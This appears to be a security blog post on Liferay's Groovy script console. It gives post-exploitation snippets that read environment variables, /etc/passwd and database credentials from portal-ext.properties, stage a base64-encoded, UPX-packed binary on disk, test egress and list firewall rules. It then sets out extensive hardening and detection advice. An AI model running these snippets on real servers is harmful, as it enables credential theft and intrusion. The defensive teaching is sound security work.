The Liferay Groovy script console: enumeration, file access, and how to lock it down

  • liferay
  • web
  • post-exploitation
  • hardening

Proof of concept on GitHub

Liferay ships a Groovy script console in its Control Panel, under Server Administration > Script. It is a legitimate operator tool: paste Groovy, run it inside the portal JVM, get the result. The security story is simple and often overlooked: that code runs with the full privileges of the account the Liferay server runs as, and with full reach into the Java and Liferay APIs. So anyone who can reach the console has code execution on the server as the portal service account. The console is not a vulnerability; it is a powerful admin feature whose entire safety depends on who can open it and how little that service account can do.

This post shows, read-only, what that access exposes, then spends most of its length on how to lock the console down.

How the console works

The Script console hands your input to a Groovy engine running in the portal's own JVM. There is no sandbox. Groovy is a JVM language, so a one-line script has the same reach as the server process: the filesystem the service account can see, the environment it runs in, the network it can reach, and every Liferay service. Reaching the console therefore means you are already executing as that account. Everything below is a consequence of that one fact.

Enumeration: who and where you are

The first thing an attacker does is confirm the identity and context of the account the console runs as. All of this is read-only reconnaissance:

// Identity and host context of the service account
println System.getProperty("user.name")
println System.getProperty("os.name") + " " + System.getProperty("os.version")
println new File(".").getAbsolutePath()          // working directory
println System.getProperty("liferay.home")        // where Liferay lives

The environment often carries more than the identity does, including paths and sometimes injected secrets:

System.getenv().sort().each { k, v -> println "${k}=${v}" }

The point of this step, for a defender, is the lesson it teaches: the blast radius of the console is exactly the privilege of the service account. If that account is a low-privileged, dedicated service user, the damage stops here. If it is root, Administrator, or a Windows account holding powerful rights, the console is a direct path to full host compromise. (That second case is the delivery surface described in SeTcbPrivilege to SYSTEM, then a new local admin: a console hosted by an over-privileged service hands an attacker everything that technique needs.) The full walk from this console to a new domain-less local admin is application-admin to SYSTEM.

Reading local files

Because Groovy has normal filesystem access, the console can read anything the service account can read:

// Any file the service account is allowed to read
println new File("/etc/passwd").text

The real prize is rarely a system file; it is the application's own configuration, which routinely holds database credentials and connection strings in cleartext:

def home = System.getProperty("liferay.home")
println new File(home, "portal-ext.properties").text

If that file contains a jdbc.default.* block with a username and password, the attacker now has the database credentials, and the console has turned a single reachable admin page into a data-store compromise. This is why the hardening below treats both console access and secret hygiene as the same problem.

File transfer: moving a binary through the text box

The console does not only read, it writes, so an operator with no upload form and no outbound route can still land a file by moving it as text. The pattern is the same one certutil -encode or a base64 round trip uses, adapted to a console: compress the file, base64 the result, paste that into a script that decodes, decompresses, writes, and verifies. This post shows the transfer and the integrity check only; running what you land, and chaining it to a privilege to reach SYSTEM, is the separate application-admin to SYSTEM chain.

Encode it on your side

# Linux attacker box: gzip then base64, single line, no wrapping
gzip -c helper.bin | base64 -w0 > blob.b64
# Windows attacker box, same result
$b=[IO.File]::ReadAllBytes("helper.bin")
$ms=New-Object IO.MemoryStream
$gz=New-Object IO.Compression.GzipStream($ms,[IO.Compression.CompressionMode]::Compress)
$gz.Write($b,0,$b.Length); $gz.Close()
[Convert]::ToBase64String($ms.ToArray()) | Set-Content -NoNewline blob.b64

Decode and write it inside the console

Groovy's own GDK methods do the whole job, no external tool on the target: String.decodeBase64() reverses the base64, GZIPInputStream inflates it, and File.bytes = writes it. Then hash the result and compare against your local sha256sum so a mangled paste is caught before you trust the file.

def raw  = "H4sIAAAA...".decodeBase64()                       // paste blob.b64 here
def data = new java.util.zip.GZIPInputStream(new ByteArrayInputStream(raw)).bytes
def out  = new File("C:/ProgramData/stage/helper.bin")
out.parentFile.mkdirs(); out.bytes = data
println "wrote ${out.length()} bytes"
println java.security.MessageDigest.getInstance("SHA-256").digest(out.bytes).encodeHex().toString()

When it does not fit: the POST-size cap and chunking

The console input is a POST form field, so the servlet container's maximum POST size caps a single paste. On a default Liferay bundle that body is roughly 2 MB, and base64 inflates its input by about a third, which leaves room for a compressed payload around 1.4 MB in one shot. For anything larger, split the base64 into parts and append them across several executions, reassembling on disk before the final decode:

// run once per chunk, in order, to append to a growing base64 file
new File("C:/ProgramData/stage/blob.b64") << "<next slice of base64>"
// final run: decode the reassembled base64 to the binary and verify
def raw  = new File("C:/ProgramData/stage/blob.b64").text.decodeBase64()
def data = new java.util.zip.GZIPInputStream(new ByteArrayInputStream(raw)).bytes
new File("C:/ProgramData/stage/helper.bin").bytes = data

Shrinking the binary with UPX to stay under the cap

The cleaner way to fit a native binary is to make it smaller before it ever becomes base64. UPX (the Ultimate Packer for eXecutables) is a public, open-source executable packer whose purpose is size reduction: it rewrites a PE or ELF so it unpacks itself in memory at launch, typically cutting a native binary by half or more.

upx --best --lzma helper.bin      # often 50-70% smaller for a native PE/ELF

Two honest caveats. A UPX-packed file is already compressed, so a further gzip pass gains almost nothing, pick one path rather than stacking them: for a native .exe, UPX usually beats gzip on the raw file; for a script or an already-small payload, plain gzip is simpler. And aggressive packing can break some binaries, so confirm the packed file still runs in your own lab before you rely on it. Smaller input means fewer chunks, or a single paste where the raw file needed several.

Defense for the transfer specifically

Detection does not care about the encoding. A new file, above all an executable or anything in a temp or staging directory, created by the portal service account is the signal, and the chunk-reassembly pattern shows up as repeated small writes growing one file. The durable controls: application control (WDAC or AppLocker on Windows, a noexec mount for the service's writable paths on Linux) so a landed binary cannot execute even once it is on disk, a service account that can only write where it genuinely needs to, and the console lockdown and least-privilege account from the sections below, which together mean a transfer is a dead end rather than a foothold.

Remote connectivity and egress

Groovy has the JVM's networking, so the console can open outbound connections. An attacker uses this to learn what the host can reach, which shapes any later pivot or data movement. This is a connectivity test, not a channel to anywhere:

// Can the host reach a destination? No shell, no persistent channel.
try {
  def s = new Socket()
  s.connect(new InetSocketAddress("TARGET-HOST", 443), 3000)
  println "reachable: ${s.isConnected()}"
  s.close()
} catch (e) { println "blocked or unreachable: ${e.message}" }

The defensive reading: the Liferay host should reach only what it needs, its database and required services, and nothing else. Default-deny outbound egress turns this from a planning tool into a dead end, and an unexpected outbound connection from the portal account is a detection signal.

Checking the local firewall

Host firewall state is read-only reconnaissance, but reading it means invoking the OS tool, which spawns a process. That spawn is itself loud, and it is shown here only to list rules, never to change them:

// Read-only: show the host firewall. Listing only, never add or disable a rule.
def win = System.getProperty("os.name").toLowerCase().contains("win")
def cmd = win
  ? ["cmd", "/c", "netsh advfirewall show allprofiles"]
  : ["sh", "-c", "iptables -L -n 2>/dev/null || nft list ruleset 2>/dev/null"]
println cmd.execute().text

For a defender the lesson is that the host firewall is not the control to lean on here: the service account can read it, and if it is over-privileged it can change it. The controls that hold are least privilege for the service account, network-level egress filtering, and an alert when the portal account runs firewall or network tooling at all.

Defense

The console is safe only when three things are true: few people can reach it, the account behind it is weak, and its use is watched. Harden all three.

1. Restrict or remove the console in production

  • Treat the Script console as a break-glass tool, not an everyday one. In production, the strongest option is to remove access entirely: Server Administration is reachable only by users with the portal's administrative permissions, so do not grant those to day-to-day accounts, and consider disabling the Script panel for the production environment.
  • Lock Control Panel and Server Administration behind a single, tightly held administrative role. Audit who holds it; it should be a very short list.
  • Never expose the Liferay administrative UI to the public internet. Put it behind the VPN or an allowlisted management network, and segment it from the parts of the site that face users.

2. Run Liferay as a least-privileged account

  • Run the Liferay/Tomcat process as a dedicated, low-privilege service account. Not root, not Administrator, not LocalSystem, and with no powerful Windows user rights such as "Act as part of the operating system." This caps the console's blast radius: reaching it should not mean owning the host.
  • Give that account read access only to what it needs. The less of the filesystem it can read, the less a file-read through the console yields.

3. Keep secrets out of reach

  • Do not leave database or integration credentials in cleartext in portal-ext.properties where the service account, and therefore the console, can read them. Use your platform's secret store, environment injection with restricted visibility, or file permissions that the portal reads at startup but that are not casually dumpable.
  • Rotate any credential you believe has been exposed through a console, and assume exposure if you cannot prove the console was never reachable by an untrusted party.

4. Enforce strong admin authentication

  • Require MFA on every account that can reach the Control Panel, and protect the omni-admin and company-admin accounts the hardest. Most console abuse starts with a weak or reused admin credential, not a Liferay bug.

5. Control egress

  • Apply default-deny outbound filtering at the network so the Liferay host can reach only its database and the services it genuinely needs. This limits what a reachable console can do with its networking: no arbitrary outbound connection, no easy data movement, and a clear signal when something tries.

Detection

Console use is observable; make sure it is logged and alerted:

  • Liferay audit events. Enable auditing and alert on access to Server Administration and on script execution. A script-console run by anyone outside your break-glass process is worth an immediate look.
  • Web access logs. Requests to the Server Administration script endpoint are a narrow, high-signal path. A POST to it from an unexpected user, IP, or at an odd hour deserves an alert.
  • Service-account behavior. The portal service account suddenly reading sensitive files, spawning a shell or a new process, or making unexpected outbound connections is a strong signal that the console (or another code-execution path) is being used. Endpoint and process-creation telemetry on the Liferay host catches this even when the application logs do not.
  • Network and firewall tooling. The portal account running netsh, iptables, nft, or similar, or opening an outbound connection to a destination it never normally contacts, is anomalous and high-signal. The service account has no business enumerating or touching the firewall.

Correlate them: an admin-UI authentication, followed by a Server Administration script request, followed by the service account touching credentials or spawning a process, is the full abuse chain and a high-confidence detection.

Use

Authorized and educational use only: your own systems, a lab you control, or an engagement with written permission. The enumeration and file-read snippets here are read-only illustrations of why an exposed console is dangerous, not a toolkit for use against systems you do not own.

Proof of concept on GitHub

Back to all techniques